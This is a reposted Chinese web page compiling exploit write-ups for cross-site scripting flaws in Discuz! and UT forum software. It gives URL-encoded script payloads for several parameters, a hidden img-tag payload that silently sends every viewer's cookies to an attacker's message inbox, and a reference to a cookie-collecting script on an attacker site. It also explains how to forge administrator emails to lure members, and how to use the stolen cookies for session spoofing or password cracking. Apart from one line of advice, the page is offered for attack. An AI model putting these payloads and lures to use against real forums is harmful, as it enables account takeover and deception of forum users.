首页 > 开发 > PHP > 正文

Discuz!跨站大全

2024-05-04 22:54:49
字体:
来源:转载
供稿:网友
在discuz!的发贴、回贴、pm等中的subject都没有经过过滤,所以也可以添加代码。
例如
http://xxx/post.php?action=newthread&fid=2...cript%3e%3cb%22

效果是首先弹出自己的cookie
利用方法:把上述代码放置到img中。

适用版本:discuz!2.x
discuz!3.x
一种利用discuz!2.0漏洞进行欺骗获得cookie的尝试

通过测试xxxfan论坛的pm功能存在一个安全漏洞,具体描述如下:
xxxfan的给某个会员发送悄悄的链接如下(假定这个会员名字为xxxfan)
http://xxx/pm.php?action=send&username=xxxfan

因为论坛程序对会员名字没有进行过滤,而是直接显示在发送到栏目中(to:),所以可以在名字后面加上script代码。例如

http://xxx/pm.php?action=send&username=xxxfan ";><script>alert(document..cookie)</script><b%20"

上面的链接点击以后首先弹出的是自己的cookie内容。
当然我们可以先在自己的站点上构造一个程序来收集cookie,类似于
getcookie.php?cookie=

但是如何来诱使会员点击呢,如果简单的放在论坛上,太容易被识别。所以可以利用discuz论坛程序的另外一个功能,“帖子介绍给朋友”功能。

因为discuz的这个功能对填写的emial地址没有进行任何过滤、辨别和模版,可以伪造任何人给别人发信,安全性很高。利用这个功能我们就可以伪造exploitfan的管理员给某个会员发一封信,诱使会员点击我们准备的url,如果诱使就看自己的手段了,例如可以说“论坛正在测试新功能,请您协助点击上面地址,我们会在后台记录您的点击在合适的时间会给您增加积分以做奖励”等等。

因为链接地址是xxxfan的,而且发信人和邮件地址都是xxxfan的官方地址,所以可信度非常高,而且不会留下任何把柄。当然为了更高的安全性,可以在<script>里的内容加密,以进一步增加隐蔽性。

至于得到cookie如何做,可以尝试cookie欺骗或者是暴力破解md5密码

本方法适用于大部分使用discuz2.0的论坛,至于discuz3.0的利用方法请参与在我以前发表的discuz!悄悄话漏洞
【bug】discuz!投票的bug
投票可以用
misc.php?action=votepoll&fid=2&tid=16980&pollanswers[]=n
(n为选项,从0开始)
的方式通过url来直接投票

但是如果n>最大选项呢,嘻嘻~
照样提交成功,不过增加了一个标题为空的选项

效果见:
http://discuz.net/viewthread.php?tid=20020&sid=dympec
(那个最后的空白的是我刚加的)

该漏洞存在的版本:
discuz!3.x
discuz!2.x(可能,没有测试过)
discuz!的代码漏洞
这是接着昨天发现的漏洞所展开的,第一发现者(pk0909)。

具体的描述就不说了,下面是一个简单的测试代码。

http://www.xxxx.net/phpbbs/post.php?action...%3c%2fscript%3e

上面的代码是显示出自己的cookie

下面是在某个比较有名的论坛的测试代码,无论谁察看该网页都会把cookie送到指定的会员短信箱里,隐蔽性很好,就是如果有人引用你的贴,哈哈~这里都会跑出来,露馅了

[ img]http://xxx.com/xx.gif%22%20style=display:none%3e%3c/img%3e%3cscript%3evar%20req=new%20activexobject(%22msxml2.xmlhttp%22);req.open(%22post%22,%22http://www.xxxx.com/forum/pm.php?action=send%22,false);var%20forms=%22pmsubmit=submit%22.tolowercase()%2b%22%26msgto=xxxxx%26subject=cookie%26saveoutbox=0%26message=%22%2bescape(document..cookie);req.setrequestheader(%22content-length%22,forms.length)%3breq.setrequestheader(%22content-type%22,%22application/x-www-form-urlencoded%22);req.send(forms);%3c/script%3e%3cb%22 [ /img]
发现discuz!ut 跨域站点的脚本漏洞--短消息篇有关跨域站点的脚本漏洞,已经算是非常平成并普遍的漏洞了。
有关具体的消息可以参阅:
http://www.cert.org/advisories/ca-2000-02.html
下面针对discuz、ut论坛程序的悄悄话部分加以说明

漏洞适应版本:
discuz1.x
discuz!2.0(0609,0820版)
discuz!3.x
ut 1.0

漏洞描述:

discuz!给指定会员发送悄悄话使用的是类似http://www.xxxx.net/phpbbs/pm.php?action=send&username=name 的语句,但是name没有经过过滤直接显示在发送短消息的页面中,这就给偷cookie或者更严重的破坏打开了方便之门。

discuz!3.x已经改为http://xxx.net/pm.php?action=send&uid=xxxx类似的语句,避免了这个漏洞,但是在选择短信文件夹的时候却没有经过过滤。同样产生了上面的漏洞



http://www.xxxx.net/phpbbs/pm.php?action=s...d&username=name %22%3e%3cscript%3ealert(document..cookie)%3c/script%3e%3cb%22[/url]
,上面的例子是显示自己的cookie。(针对discuz!1.x discuz!2.x)

http://xxx.net/pm.php?folder=inbox%22%3e%3...cript%3e%3cb%22
显示自己的cookie。(针对discuz!3.x)

ut虽然在主题上经过了过滤,也就是说把%27转换为';但是其收件人却没有过滤,所以同样有类似的漏洞。例子略。(在不同的ut论坛上发现其代码不尽相同,但是总的来说都有类似的漏洞)


危害度:中弱

预防办法:
点击超级链接时请注意其真实内容。更多的安全补丁请密切关注官方论坛。
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表